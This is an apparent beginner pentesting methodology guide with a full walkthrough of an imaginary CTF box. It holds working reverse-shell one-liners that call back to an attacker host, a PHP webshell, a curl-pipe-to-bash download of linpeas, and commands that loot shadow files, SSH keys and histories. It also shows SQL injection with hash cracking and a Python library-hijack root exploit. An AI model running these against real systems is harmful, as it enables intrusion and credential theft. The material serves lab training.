kavklaw@llm ~ /guides/methodology

kavklaw@llm $ cat methodology.md

Pentesting Methodology โ€” Your First Pwn

๐ŸŸข Beginner

โฑ๏ธ 35 min read ยท The complete step-by-step methodology from "you have an IP" to "you have root"

This guide references a lot of tools. Here's everything you'll want installed before you start. All of these come pre-installed on Kali Linux or Parrot OS, which is the easiest way to get going.

  • Scanning: Nmap (port scanning), Masscan (fast scanning)
  • Web Enumeration: Gobuster / ffuf (directory brute force), Burp Suite Community (web proxy), whatweb (tech fingerprinting)
  • Exploitation: Metasploit, sqlmap (SQL injection), searchsploit (exploit search)
  • Credential Attacks: John the Ripper / Hashcat (password cracking), Hydra (brute forcing logins)
  • Post-Exploitation: LinPEAS / WinPEAS (privilege escalation enumeration), pwncat-cs (shell handler)
  • Wordlists: SecLists (apt install seclists), rockyou.txt
  • Networking: netcat (nc/ncat), rlwrap (adds readline to shells), curl/wget
  • Note-taking: CherryTree, Obsidian, or plain markdown files
๐Ÿ“Œ Not on Kali? Most tools can be installed individually via apt, pip, or from GitHub. But for beginners, just grab Kali in a VM โ€” fighting tool installation when you should be learning methodology is a waste of time.

๐Ÿง  The Mindset

Before we dive into commands, understand this: pentesting is a methodology, not a tool list. The difference between someone who pops boxes and someone who stares at a terminal for hours isn't talent, it's process.

Here's the core principle: enumerate, enumerate, enumerate. At every step, you're asking "what do I know?" and "what haven't I checked?" The answer is almost always more enumeration. 80% of a pentest is enumeration. Exploitation is often the easy part. Finding the vulnerability is the hard part.

The methodology flows like this:

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚               THE PENTESTING CYCLE                  โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  1. RECON          โ†’ What's out there?              โ”‚
โ”‚  2. SCAN           โ†’ What ports/services?           โ”‚
โ”‚  3. ENUMERATE      โ†’ What details about services?   โ”‚
โ”‚  4. IDENTIFY       โ†’ What vulnerabilities exist?    โ”‚
โ”‚  5. EXPLOIT        โ†’ Get initial access             โ”‚
โ”‚  6. POST-EXPLOIT   โ†’ Stabilize, loot, enumerate     โ”‚
โ”‚  7. PRIV ESC       โ†’ Get root/SYSTEM                โ”‚
โ”‚  8. REPORT         โ†’ Document everything            โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

Note: Steps 3-4 loop. You'll go back to enumeration MANY times.

๐Ÿ”ง Phase 0: Setup

Before touching the target, set up your workspace. This takes 30 seconds and saves you hours of disorganization.

# Create working directory
mkdir -p target/{nmap,loot,exploit,www}
cd target

# Set target IP as variable (use throughout)
export TARGET=10.10.10.100

# Verify connectivity
ping -c 1 $TARGET

# Add hostname to /etc/hosts (if given, or discovered later)
echo "10.10.10.100 target.htb" | sudo tee -a /etc/hosts

# Start a notes file
echo "# Target: $TARGET" > notes.md
echo "## Findings" >> notes.md
๐Ÿ’ก Pro Tip: Keep notes as you go. Write down every finding, every interesting service, every potential vulnerability. Your future self will thank you when you're stuck and need to retrace your steps.

๐Ÿ” Phase 1: Information Gathering

Grab everything you can before you start actively scanning. In CTFs this is quick; on real engagements you'll spend serious time here.

Passive Reconnaissance (Real Engagements)

Passive recon means gathering information without directly contacting the target. You use public data sources (OSINT, or Open Source Intelligence) to learn about the target's infrastructure, employees, and technology before sending a single packet.

# OSINT โ€” doesn't touch the target
# Whois โ€” looks up domain registration info (owner, registrar, name servers)
whois target.com

# DNS (Domain Name System) records โ€” the internet's "phone book" that
# translates domain names to IP addresses and other info
# Query specific record types (dig ANY is unreliable โ€” many servers restrict it)
dig +short A target.com      # A = IPv4 address
dig +short AAAA target.com   # AAAA = IPv6 address
dig +short mx target.com     # MX = Mail Exchange (email servers)
dig +short ns target.com     # NS = Name Server (DNS servers for this domain)
dig +short txt target.com    # TXT = text records (often SPF/DKIM email configs)

# Subdomain enumeration
amass enum -passive -d target.com
subfinder -d target.com
# Check: crt.sh, SecurityTrails, Shodan

# Google dorking โ€” using advanced Google search operators to find exposed files
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com ext:sql | ext:bak | ext:conf

# Shodan
shodan host 10.10.10.100
# Or: shodan.io web interface

# TheHarvester (emails, subdomains, IPs)
theHarvester -d target.com -b all

Active Reconnaissance (CTF Context)

# In CTFs, you usually skip passive recon and go straight to scanning.
# But still check:

# 1. Does the target respond to ping?
ping -c 3 $TARGET

# 2. Any hostname given? Add it to /etc/hosts
# Many CTF boxes use virtual hosting โ€” the site only works with the right hostname

# 3. Quick web check
curl -s http://$TARGET | head -20
curl -sI http://$TARGET

๐ŸŽฏ Phase 2: Port Scanning

Port scanning discovers which services are running on the target. A "port" is like a door on the machine. Port 80 is typically a web server, port 22 is SSH, port 445 is file sharing, etc. Use a tiered approach: fast scan first to find open ports, then detailed scan on only those ports.

                    TIERED SCANNING APPROACH
                    ========================

  Tier 1: Fast SYN scan โ”€โ”€โ–ถ Find ALL open ports (30 seconds)
      โ”‚                      nmap -p- --min-rate 5000
      โ–ผ
  Tier 2: Detailed scan โ”€โ”€โ–ถ Version + scripts on open ports only
      โ”‚                      nmap -p PORTS -sC -sV
      โ–ผ
  Tier 3: UDP scan โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–ถ Top 50 UDP ports (background)
      โ”‚                      nmap -sU --top-ports 50
      โ–ผ
  Tier 4: Targeted scripts โ–ถ Service-specific NSE scripts
                              nmap --script=http-enum,smb-vuln*

See the full Nmap Guide for deep details.

Tier 1: Fast Discovery

This scans all 65,535 TCP ports quickly. The -p- means "all ports," --min-rate 5000 sends at least 5000 packets per second (fast for CTFs and labs, but can miss ports on noisy or lossy networks โ€” Nmap's docs caution that aggressive rates increase packet drops), -Pn skips the ping check (some targets block ping), and -oA saves results in all formats.

# Find ALL open TCP ports quickly
sudo nmap -p- --min-rate 5000 -Pn -T4 $TARGET -oA nmap/allports

# Extract the ports
PORTS=$(grep -oP '\d+/open' nmap/allports.gnmap | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
echo "Open ports: $PORTS"

Tier 2: Detailed Service Scan

Now run a deeper scan on just the open ports you found. The -sC flag runs default scripts (checks for common vulnerabilities and info), and -sV detects the exact version of each service. This tells you what software is running so you can search for known exploits.

# Deep scan only open ports
sudo nmap -p $PORTS -sC -sV -Pn -oA nmap/detailed $TARGET

# Read the results carefully!
cat nmap/detailed.nmap

Tier 3: UDP Scan (Background)

UDP scanning is significantly slower and less reliable than TCP โ€” there's no handshake, so Nmap has to wait for timeouts. That's why we limit to top 50 ports and run it in the background.

# Don't forget UDP! Run in background (slower than TCP โ€” no handshake to confirm open/closed)
sudo nmap -sU --top-ports 50 -Pn -T4 $TARGET -oA nmap/udp &

# Key UDP services to find: DNS(53), SNMP(161, network management), TFTP(69, file transfer), NTP(123, time sync)

Tier 4: Targeted Scripts

# Based on what you found, run specific scripts
# Web:
sudo nmap -p 80,443 --script=http-enum,http-title,http-headers $TARGET
# SMB:
sudo nmap -p 445 --script=smb-enum-shares,smb-enum-users,smb-vuln* $TARGET
# Vuln scan:
sudo nmap -p $PORTS --script=vuln -oA nmap/vulns $TARGET

๐Ÿง  Knowledge Check โ€” Methodology Phases

What is the correct order of pentesting methodology phases?
The correct methodology is: (1) Recon โ€” what's out there? (2) Scan โ€” what ports/services? (3) Enumerate โ€” deep details about each service, (4) Identify โ€” find vulnerabilities, (5) Exploit โ€” get initial access, (6) Post-exploit โ€” stabilize, loot, enumerate internally, (7) Privilege Escalation โ€” get root/SYSTEM, (8) Report โ€” document everything. Steps 3-4 loop โ€” you'll go back to enumeration many times. 80% of pentesting is enumeration.
Why should you use tiered nmap scanning instead of a single nmap -A -p- command?
Running nmap -A -p- tries to do everything at once (all ports + version detection + scripts + OS detection) and can take very long. Tiered scanning: (1) Fast SYN scan of all ports with --min-rate 5000, (2) Detailed -sC -sV scan of only the open ports found, (3) UDP scan in background. This gives you results to work with immediately while deeper scans run in parallel.
๐Ÿ“‹ Scenario
$ nmap -p- --min-rate 5000 -Pn 10.10.10.200
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql

$ curl http://10.10.10.200/ | head -5
<html><title>BookShelf App</title>
<!-- Powered by PHP 7.4 -->
You found SSH, HTTP (PHP), and MySQL. What should you enumerate first and why?
Web (HTTP) should be your primary focus. It's almost always the path to initial access. Start by browsing the site, running gobuster for hidden directories (look for config files, admin panels, backups like .php.bak), testing for SQL injection, and checking the source code. MySQL likely blocks external connections. SSH brute force is a last resort โ€” slow and noisy. The web app may even reveal MySQL credentials in config files.
โš ๏ธ Common Mistake: Running nmap -A -p- as a single command. It tries to do everything at once and takes forever. Tiered scanning is 10x faster and gives you results to work with immediately while deeper scans run.

๐Ÿ”ฌ Phase 3: Service Enumeration

This is where you spend 80% of your time. For each open port, enumerate the service deeply. See the Enumeration Checklist for service-specific commands.

The Enumeration Decision Tree

For every open port, ask these questions:

  1. What service is running? (from nmap -sV)
  2. What version? (search for CVEs)
  3. Does it allow anonymous/default access?
  4. What information does it expose?
  5. Can I interact with it? (connect, query, browse)
  6. Are there any misconfigurations?

Web Services (80, 443, 8080, etc.)

Web is almost always the path in. When you see a web port, this is your checklist:

# 1. Browse to it manually โ€” what do you see?
firefox http://$TARGET &

# 2. Technology identification
whatweb http://$TARGET
# Check response headers for: Server, X-Powered-By, cookies

# 3. Directory/file brute force
gobuster dir -u http://$TARGET -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50 -x php,html,txt,bak
# Try different wordlists if first doesn't hit

# 4. Subdomain/vhost (virtual host) enumeration โ€” finds different websites
#    hosted on the same IP, distinguished by the domain name in the request
gobuster vhost -u http://target.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain

# 5. Check for known CMS
# WordPress: wpscan --url http://$TARGET --enumerate p,u
# Joomla: joomscan -u http://$TARGET
# Drupal: droopescan scan drupal -u http://$TARGET

# 6. Look for interesting files
curl http://$TARGET/robots.txt
curl http://$TARGET/.git/HEAD
curl http://$TARGET/.env
curl http://$TARGET/backup.zip

# 7. Test for web vulnerabilities
# See: /cheatsheets/web-hacking-checklist.html

# 8. Proxy through Burp Suite for deeper testing
# See: /guides/burp-suite.html

SMB (445)

SMB (Server Message Block) is Windows' file sharing protocol. A "null session" means connecting without any username or password. Many misconfigured SMB servers allow this and leak user lists, share names, and sometimes even file contents.

# Null session enumeration
smbclient -L //$TARGET -N
smbmap -H $TARGET
enum4linux -a $TARGET
crackmapexec smb $TARGET -u '' -p '' --shares

# Check for vulnerabilities
nmap --script=smb-vuln* -p 445 $TARGET

Other Services

For every other service, refer to the Enumeration Checklist and Common Ports cheat sheets. General approach:

  1. Google: "SERVICE VERSION pentesting"
  2. searchsploit SERVICE VERSION
  3. HackTricks: book.hacktricks.wiki
  4. Try default credentials

๐ŸŽฏ Phase 4: Vulnerability Identification

Now that you know what's running, find the weakness.

CVE Search

A CVE (Common Vulnerabilities and Exposures) is a publicly known security vulnerability with a unique ID number. Once you know what software version the target runs, you search for CVEs that affect it. searchsploit searches a local copy of Exploit-DB (maintained by OffSec), which has thousands of ready-to-use exploit scripts. Keep it updated with searchsploit -u.

# Search for known exploits by service version
searchsploit apache 2.4.49
searchsploit openssh 7.2
searchsploit wordpress 5.0

# Google: "SERVICE VERSION CVE"
# Google: "SERVICE VERSION exploit"
# Google: "SERVICE VERSION RCE"

# ExploitDB: https://www.exploit-db.com/
# NVD: https://nvd.nist.gov/
# CVE Details: https://www.cvedetails.com/

Default Credentials

# ALWAYS try default creds before brute forcing
# Common defaults:
# admin:admin, admin:password, root:root, root:toor
# guest:guest, test:test, user:user
# tomcat:s3cret, admin:s3cret

# Default credential databases:
# https://default-password.info/
# https://cirt.net/passwords
# https://www.fortypoundhead.com/showcontent.asp?artid=23983

# Service-specific:
# Tomcat: /manager/html โ†’ tomcat:tomcat or tomcat:s3cret
# Jenkins: /script โ†’ no auth? Groovy console = RCE
# phpMyAdmin: root:(empty)
# Grafana: admin:admin
# pgAdmin: [email protected]:admin

Misconfigurations

Things to look for:

  • Anonymous FTP with writable web root
  • SMB null session access
  • Redis / MongoDB with no authentication
  • SNMP with default "public" community string
  • Unrestricted file upload
  • Directory listing enabled
  • Debug mode / stack traces exposed
  • .git, .env, .bak files accessible
  • API endpoints without authentication

๐Ÿง  Knowledge Check โ€” Enumeration & Vulnerability Discovery

๐Ÿ“‹ Scenario
$ gobuster dir -u http://10.10.10.200 -w raft-medium-directories.txt -x php,txt,bak
/index.php            (Status: 200)
/search.php           (Status: 200)
/admin                (Status: 301)
/config.php.bak       (Status: 200)

$ curl http://10.10.10.200/search.php?q=test'
Error: You have an error in your SQL syntax near '''
Based on these results, what TWO vulnerabilities have you identified?
Two clear vulnerabilities: (1) SQL injection in search.php โ€” the single quote caused a SQL syntax error, confirming the input goes directly into a query. (2) Exposed config.php.bak โ€” backup config files often contain database credentials in plaintext. Download it immediately with curl. These two findings together give you both a SQL injection attack vector and potentially valid database credentials.
What percentage of a pentest is typically spent on enumeration?
~80% of a pentest is enumeration. The core principle is "enumerate, enumerate, enumerate." At every step, you ask "what do I know?" and "what haven't I checked?" Finding the vulnerability is the hard part โ€” once found, exploitation often follows a known recipe. If you're stuck, the answer is almost always more enumeration, not more exploitation attempts.

๐Ÿ’ฅ Phase 5: Exploitation

You've found a vulnerability. Time to get a shell.

Finding Exploits

# SearchSploit (local ExploitDB mirror)
searchsploit apache 2.4.49
searchsploit -m 50383              # Copy exploit to current directory
searchsploit -x 50383              # View exploit code

# Metasploit
msfconsole
search apache 2.4.49
use exploit/multi/http/apache_normalize_path_rce
set RHOSTS $TARGET
set LHOST tun0
run

# GitHub
# Google: "CVE-2021-41773 github"
# Many PoCs on GitHub โ€” read the code before running!

Manual vs Automated Exploitation

Always understand what an exploit does before running it. Read the code. Understand the vulnerability. For CTFs and learning, try manual exploitation first. For speed on real engagements, Metasploit is fine.

Common manual exploitation patterns:

  1. SQL Injection โ†’ sqlmap or manual UNION/blind injection
  2. Command Injection โ†’ ; id, | id, `id`, $(id)
  3. File Inclusion โ†’ php://filter, log poisoning, wrapper chains
  4. File Upload โ†’ webshell upload with filter bypass
  5. SSTI (Server-Side Template Injection โ€” injecting code into the server's template engine) โ†’ {{7*7}} โ†’ RCE (Remote Code Execution) payload
  6. Deserialization (exploiting how apps reconstruct objects from stored data) โ†’ ysoserial, phpggc

Getting a Shell

# 1. Start your listener FIRST โ€” waits for the target to connect back to you
# rlwrap adds arrow-key support, nc (netcat) listens on port 4444
# -l = listen, -v = verbose, -n = no DNS, -p = port
rlwrap nc -lvnp 4444

# 2. Execute reverse shell on target
# See: /cheatsheets/reverse-shells.html
# Most common:
bash -i >& /dev/tcp/LHOST/4444 0>&1

# Python:
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("LHOST",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

# 3. Or upload a web shell
# <?php system($_GET['cmd']); ?>
curl "http://$TARGET/shell.php?cmd=id"

๐Ÿ”’ Phase 6: Post-Exploitation

You have a shell. Now what?

Stabilize Your Shell

A raw reverse shell is fragile: one wrong keystroke can kill it. Upgrading to a full interactive terminal takes 10 seconds and is always your first step after getting a shell.

# Raw reverse shells are fragile. Upgrade immediately.

# Python PTY (pseudo-terminal) upgrade โ€” gives you a proper interactive shell
# with tab-completion, arrow keys, and Ctrl+C support
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z (background the shell)
stty raw -echo; fg
# Back in shell:
export TERM=xterm-256color
export SHELL=/bin/bash
stty rows 40 cols 160

# Alternative: script
script -qc /bin/bash /dev/null
# Then same Ctrl+Z / stty raw -echo; fg process

# Best option: pwncat-cs (auto-upgrades + persistence)
pwncat-cs -lp 4444

Situational Awareness

# Who am I?
id
whoami
hostname

# Where am I?
pwd
ls -la

# What system is this?
uname -a
cat /etc/os-release
cat /etc/issue

# Who else is here?
w
who
last

# What's running?
ps aux
ss -tlnp
netstat -tlnp

# What's on the network?
ip a
ip route
cat /etc/hosts
cat /etc/resolv.conf
arp -a

Loot Collection

# Grab the user flag (CTF)
find / -name "user.txt" 2>/dev/null
cat /home/*/user.txt

# Gather credentials
cat /etc/passwd
cat /etc/shadow              # If readable โ†’ crack hashes
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null
find / -name ".env" 2>/dev/null
find / -name "config.php" -exec cat {} \; 2>/dev/null

# Look for SSH keys
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null

# Database credentials
cat /var/www/html/wp-config.php    # WordPress
cat /var/www/html/.env              # Laravel/Node
grep -r "DB_PASS\|DB_PASSWORD\|password" /var/www/ 2>/dev/null

# Bash history
cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null

โฌ†๏ธ Phase 7: Privilege Escalation

You're a regular user. Time to become root. See the full guides: Linux PrivEsc | Windows PrivEsc.

Linux Privilege Escalation

# Automated enumeration (run these FIRST)
# LinPEAS โ€” the gold standard
curl http://LHOST/linpeas.sh | bash
# Or transfer and run:
wget http://LHOST/linpeas.sh -O /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh

# LinEnum
./linenum.sh

# Manual checks:

# 1. Sudo permissions
sudo -l
# Can you run anything as root? Check GTFOBins!
# https://gtfobins.github.io/

# 2. SUID binaries โ€” files with the "Set User ID" bit, which run as
#    their owner (often root) regardless of who executes them
find / -perm -4000 -type f 2>/dev/null
# Look for unusual SUID binaries โ†’ check GTFOBins

# 3. Capabilities โ€” Linux fine-grained permissions that give programs
#    specific root powers without full root access
getcap -r / 2>/dev/null
# python3 with cap_setuid (ability to change user ID) โ†’ instant root

# 4. Cron jobs
cat /etc/crontab
ls -la /etc/cron*
crontab -l
# Writable cron script โ†’ inject reverse shell

# 5. Writable files/directories
find / -writable -type f 2>/dev/null | grep -v proc
# Writable /etc/passwd โ†’ add root user

# 6. Internal services
ss -tlnp
# Service running as root on localhost? Tunnel and exploit

# 7. Kernel exploits (last resort)
uname -r
searchsploit linux kernel [version]
# DirtyPipe, DirtyCow, etc.

# See: /cheatsheets/linux-privesc-checklist.html

Windows Privilege Escalation

# Automated enumeration
# WinPEAS
.\winPEASx64.exe

# PowerUp
powershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"

# Manual checks:

# 1. Current privileges โ€” Windows assigns special privileges to users/services
whoami /priv
# SeImpersonatePrivilege โ†’ can impersonate other users โ†’ Potato attack โ†’ SYSTEM
# SeBackupPrivilege โ†’ can read any file โ†’ dump SAM/SYSTEM (password hashes)

# 2. Running services
sc queryex type= service state= all
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows"
# Unquoted service paths? Writable service binary?

# 3. Scheduled tasks
schtasks /query /fo LIST /v

# 4. AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both set to 1? โ†’ msfvenom MSI payload โ†’ SYSTEM

# 5. Stored credentials
cmdkey /list
# If present: runas /savecred /user:Administrator cmd

# 6. Registry autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

# See: /cheatsheets/windows-privesc-checklist.html

๐Ÿ“ Phase 8: Reporting

Even in CTFs, documenting your process makes you better. In real engagements, the report IS the deliverable.

What to document:

  1. Target information (IP, hostname, OS)
  2. Open ports and services
  3. Vulnerabilities found (with evidence)
  4. Exploitation steps (reproducible)
  5. Post-exploitation findings
  6. Privilege escalation path
  7. Remediation recommendations

Tools for note-taking: CherryTree (structured, import nmap), Obsidian (markdown, linkable), Notion, or plain text files (simplest, grep-friendly).

Screenshot everything โ€” commands + output. Save exploit code, payloads, and modified scripts. For CTF writeups, see our writeups for examples.

๐Ÿง  Knowledge Check โ€” Exploitation & Privilege Escalation

After getting a reverse shell as www-data, what should you do FIRST?
Always stabilize first โ€” a raw reverse shell can break with one wrong keystroke. Upgrade to a PTY, then gather situational awareness: who you are (id), where you are (hostname, pwd), what's running (ps aux), network info (ip addr), and who else is on the system (w, who). This context informs every subsequent decision. Only then transfer enumeration tools and look for privilege escalation paths.
You find sudo -l shows you can run /usr/bin/python3 as root without a password. What's the fastest path to root?
When you can sudo a scripting language like Python as root, you can simply spawn an interactive shell: sudo python3 -c 'import os; os.system("/bin/bash")'. This gives you an immediate root bash shell. Check GTFOBins (gtfobins.github.io) for sudo/SUID exploitation techniques for any binary โ€” it has entries for hundreds of commands.
In a pentest report, which element is MOST important for the client?
The report IS the deliverable. Clients need: (1) clear descriptions of each vulnerability with evidence (screenshots, output), (2) reproducible steps so they can verify the fix, (3) impact assessment so they can prioritize, and (4) remediation recommendations they can act on. A pentest without a good report is just hacking. The report drives organizational security improvements.

๐Ÿ† Full Walkthrough: Pwning "Bookshelf"

Let's walk through a complete example โ€” an imaginary easy box called "Bookshelf" โ€” from start to root. This demonstrates every phase of the methodology.

Scenario

Target: 10.10.10.200 (Bookshelf). You have a VPN connection and nothing else.

Phase 1-2: Scanning

# Setup
mkdir -p bookshelf/{nmap,loot,exploit,www}
cd bookshelf
export TARGET=10.10.10.200

# Fast port scan
$ sudo nmap -p- --min-rate 5000 -Pn -T4 $TARGET -oA nmap/allports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql

# Detailed scan
$ sudo nmap -p 22,80,3306 -sC -sV -Pn -oA nmap/detailed $TARGET
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp   open  http        Apache httpd 2.4.41
|_http-title: BookShelf โ€” Online Library
3306/tcp open  mysql       MySQL 5.7.38
|_mysql-info: MySQL 5.7.38

Phase 3: Enumeration

# MySQL โ€” try default creds
$ mysql -h $TARGET -u root
ERROR 1045: Access denied for user 'root'@'10.10.14.5' (using password: NO)
# Locked down. Move on.

# Web โ€” browse to http://10.10.10.200
# It's a book catalog application. PHP-based (from headers).
# Has a search function: /search.php?q=

# Directory brute force
$ gobuster dir -u http://$TARGET -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,bak -t 50
/index.php            (Status: 200)
/search.php           (Status: 200)
/admin                (Status: 301) โ†’ /admin/
/admin/login.php      (Status: 200)
/config.php.bak       (Status: 200)  โ† INTERESTING!

# Grab the backup config
$ curl http://$TARGET/config.php.bak
<?php
$db_host = "localhost";
$db_user = "bookshelf_user";
$db_pass = "Sh3lf_Db_2023!";
$db_name = "bookshelf";
?>
# DATABASE CREDENTIALS!

Phase 4: Vulnerability Identification

# Test the search function for SQL injection
$ curl "http://$TARGET/search.php?q=test'"
# Error: You have an error in your SQL syntax near '''
# SQL INJECTION CONFIRMED!

# We also have DB credentials from config.php.bak
# Two attack vectors: SQLi through the web app, or direct DB access

Phase 5: Exploitation โ€” SQL Injection to Shell

# Use SQLMap to exploit the injection
$ sqlmap -u "http://$TARGET/search.php?q=test" --batch --dbs
available databases:
[*] bookshelf
[*] information_schema

$ sqlmap -u "http://$TARGET/search.php?q=test" --batch -D bookshelf --tables
+----------+
| books    |
| users    |
+----------+

$ sqlmap -u "http://$TARGET/search.php?q=test" --batch -D bookshelf -T users --dump
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
| 1  | admin    | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 2  | librarian| a029d0df84eb5549c641e04a9ef389e5 |
+----+----------+----------------------------------+

# Crack the hashes (MD5)
$ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
5f4dcc3b5aa765d61d8327deb882cf99:password
a029d0df84eb5549c641e04a9ef389e5:books2023

# Login to admin panel: admin:password
# Admin panel has a "Book Cover Upload" feature
# Try uploading a PHP shell

# Upload shell.php with content: <?php system($_GET['cmd']); ?>
# The app renames it but keeps .php extension!
# Access: http://10.10.10.200/uploads/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Get reverse shell
# Start listener: rlwrap nc -lvnp 4444
$ curl "http://$TARGET/uploads/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261'"

Phase 6: Post-Exploitation

# Stabilize the shell
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
$ stty raw -echo; fg
$ export TERM=xterm-256color

# Situational awareness
www-data@bookshelf:/var/www/html/uploads$ id
uid=33(www-data)

www-data@bookshelf:~$ cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
librarian:x:1000:1000::/home/librarian:/bin/bash

# Check home directories
www-data@bookshelf:~$ ls /home/librarian/
user.txt  .bash_history  .ssh/

# Can we read user.txt?
www-data@bookshelf:~$ cat /home/librarian/user.txt
cat: permission denied

# Try the DB password for the librarian user
www-data@bookshelf:~$ su librarian
Password: books2023
librarian@bookshelf:~$ cat user.txt
HTB{b00k_w0rm_g0t_sh3ll3d}  โ† USER FLAG!

Phase 7: Privilege Escalation

# Check sudo permissions
librarian@bookshelf:~$ sudo -l
User librarian may run the following commands on bookshelf:
    (root) NOPASSWD: /usr/bin/python3 /opt/backup.py

# Read the backup script
librarian@bookshelf:~$ cat /opt/backup.py
#!/usr/bin/python3
import zipfile
import os

source_dir = "/var/www/html"
backup_name = "/tmp/backup.zip"

with zipfile.ZipFile(backup_name, 'w') as zf:
    for root, dirs, files in os.walk(source_dir):
        for file in files:
            zf.write(os.path.join(root, file))

print(f"Backup created: {backup_name}")

# The script imports zipfile โ€” can we hijack it?
librarian@bookshelf:~$ python3 -c "import zipfile; print(zipfile.__file__)"
/usr/lib/python3.8/zipfile.py

# Check Python's import path โ€” Python checks script directory FIRST
librarian@bookshelf:~$ python3 -c "import sys; print('\n'.join(sys.path))"
/opt        <-- script directory (backup.py lives here) โ€” checked FIRST
/usr/lib/python38.zip
/usr/lib/python3.8
/usr/lib/python3.8/lib-dynload

# Check if we can write to the Python path
librarian@bookshelf:~$ ls -la /usr/lib/python3.8/zipfile.py
-rw-r--r-- 1 root root ...
# Not writable.

# But /opt/ IS in sys.path AND writable โ€” Python will import from here first!
librarian@bookshelf:~$ ls -la /opt/
drwxrwxr-x 2 root librarian 4096 ... .
-rwxr-xr-x 1 root root       320 ... backup.py

# /opt/ is writable by librarian group!
# Python library hijacking: create zipfile.py in /opt/

librarian@bookshelf:~$ cat > /opt/zipfile.py << 'EOF'
import os
os.system("/bin/bash")
EOF

# Run the sudo command
librarian@bookshelf:~$ sudo /usr/bin/python3 /opt/backup.py
root@bookshelf:/opt# id
uid=0(root) gid=0(root) groups=0(root)

root@bookshelf:/opt# cat /root/root.txt
HTB{l1br4ry_pwn3d_by_pyth0n}  โ† ROOT FLAG!

Attack Summary

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ ATTACK PATH SUMMARY                                      โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ 1. Nmap โ†’ found HTTP (80), SSH (22), MySQL (3306)        โ”‚
โ”‚ 2. Gobuster โ†’ found /config.php.bak (DB credentials)     โ”‚
โ”‚ 3. SQL injection in search.php โ†’ dumped user table        โ”‚
โ”‚ 4. Cracked MD5 hashes โ†’ admin:password                   โ”‚
โ”‚ 5. Admin panel file upload โ†’ PHP webshell                 โ”‚
โ”‚ 6. Webshell โ†’ reverse shell as www-data                   โ”‚
โ”‚ 7. Password reuse: books2023 โ†’ su librarian               โ”‚
โ”‚ 8. sudo python3 + writable /opt/ โ†’ Python lib hijack      โ”‚
โ”‚ 9. Root!                                                   โ”‚
